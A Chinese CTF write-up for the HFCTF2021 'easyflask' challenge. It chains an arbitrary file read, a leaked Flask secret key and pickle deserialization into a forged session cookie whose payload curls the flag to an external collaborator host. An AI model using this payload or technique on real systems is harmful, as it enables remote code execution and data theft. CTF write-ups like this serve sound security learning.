HFCTF2021Final-easyflask

  1. HFCTF2021Final-easyflask

HFCTF2021Final-easyflask

首先很简单利用任意文件读取漏洞拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

查看cookie,发现了session

1
eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.aDR5fQ.cfRdJ4sQNf1e0FVaWOD8k5UH6gg

用脚本解密看看

1
b'{"u":{" b":"gASVGAAAAAAAAACMCF9fbWFpbl9flIwEVXNlcpSTlCmBlC4="}}'

然后base64解密发现很明显是序列化的数据。

/admin路由存在pickle漏洞,我们现在只需要伪造一个session,保证session的键u,以及键u的值中的键b为Python序列化的数据,我们需要的构造恶意序列化数据打入其中。

查看flask的默认全局变量的路径/proc/self/environ

得到密钥

1
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

然后就是构造pickle反序列化,这里我们可以反弹shell也可以外带数据。这里我用的bp的外带模块

1
2
3
4
5
6
7
8
9
import base64
import pickle


class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('curl http://www.0cd1ryjktg2zozuocea50scsfjla90xp.oastify.com/?1=`cat /flag`')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )

输出

1
gASVggAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxmX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgaHR0cDovL3d3dy4wY2Qxcnlqa3RnMnpvenVvY2VhNTBzY3NmamxhOTB4cC5vYXN0aWZ5LmNvbS8/MT1gY2F0IC9mbGFnYCcplIWUUpQu

然后我们要用脚本来构造session

session结构:

1
"{'u':{'b':'gASVggAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxmX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgaHR0cDovL3d3dy4wY2Qxcnlqa3RnMnpvenVvY2VhNTBzY3NmamxhOTB4cC5vYXN0aWZ5LmNvbS8/MT1gY2F0IC9mbGFnYCcplIWUUpQu'}}"

在kali里使用flask_session_cookie_manager3.py脚本加密

1
python flask_session_cookie_manager3.py encode -s "glzjin22948575858jfjfjufirijidjitg3uiiuuh" -t "{'u':{'b':'gASVggAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxmX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgaHR0cDovL3d3dy4wY2Qxcnlqa3RnMnpvenVvY2VhNTBzY3NmamxhOTB4cC5vYXN0aWZ5LmNvbS8/MT1gY2F0IC9mbGFnYCcplIWUUpQu'}}"

payload:

1
.eJwtzEsSgiAAANC7cIFQcibdJf00pUlNwB1Q4ULQFqHZdPda9A7w3uAJojeQIAJ6XdZar_9wjvepJ-gEBQ3mLhm3DWtamZZVl0yGeeEgWeyULe7spa1EuT2WwXxjBDYU9qlPPGVGLQ4FVJveZeiKrq_lyP3zpGz3EKiwuR3czdaO-3VLqnjmiBhhpvZUxUuFA8d_l6BNkBniZLla5JWnub-DCQ6N3O8sx2roEnq5DOcn-Hy-NxBDJQ.aDSA2w.8kCyVMgLdxzBCiMKaAtQq6riRM8

将构造的payload打入session,然后在/admin界面刷新一遍,即可在bp中外带到flag。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github